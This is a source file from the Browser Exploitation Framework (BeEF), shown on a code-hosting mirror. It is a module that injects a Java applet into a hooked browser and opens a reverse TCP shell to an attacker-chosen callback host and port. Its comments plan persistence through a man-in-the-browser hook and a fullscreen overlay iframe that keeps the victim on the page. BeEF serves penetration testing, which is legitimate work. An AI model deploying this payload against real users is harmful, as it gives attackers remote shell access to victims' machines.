Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/local_host/java_payload/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var conn = '<%= @conn %>';
10
var cbHost = '<%= @cbHost %>';
11
var cbPort = '<%= @cbPort %>';
12
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
13
var applet_id = '<%= @applet_id %>';
14
var applet_name = '<%= @applet_name %>';
15
16
beef.dom.attachApplet(applet_id, applet_name, 'javapayload.loader.AppletLoader',
17
null, applet_archive, [{'argc':'5', 'arg0':'ReverseTCP', 'arg1':cbHost, 'arg2':cbPort, 'arg3':'--', 'arg4':'JSh'}]);
18
19
20
//TODO: modify the applet in a way we can call a method from it, or create a Javascript variable in the page (to know the applet has started).
21
//TODO: after that, every N seconds we'll check if the user RUN the applet, otherwise we remove the applet and inject another one.
22
23
24
//TODO: =========== persistence techniques ===========
25
// the victim must stay on the page while the applet is running. we don't want to use hybrid techniques to
26
// download platform dependent executable (i.e. meterpreter) and then kill the applet.
27
// we have 2 options:
28
// 1. use the MITB code (currently doesn't work on IE)
29
// 2. create an overlay iFrame while having the applet runnin in the background
30
//
31
// 1. setTimeout(beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000);
32
// 2. beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
33
// var MITBload = setInterval(function(){
34
// if(beef.pageIsLoaded){
35
// clearInterval(MITBload);
36
// beef.mitb.hook();
37
// }
38
// }, 100);
39
40
41
beef.debug('[Java Payload] Applet with id[' + applet_id + '] added to the DOM.');
42
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet with id[' + applet_id + '] added to the DOM.');
43
44
45
});
46
47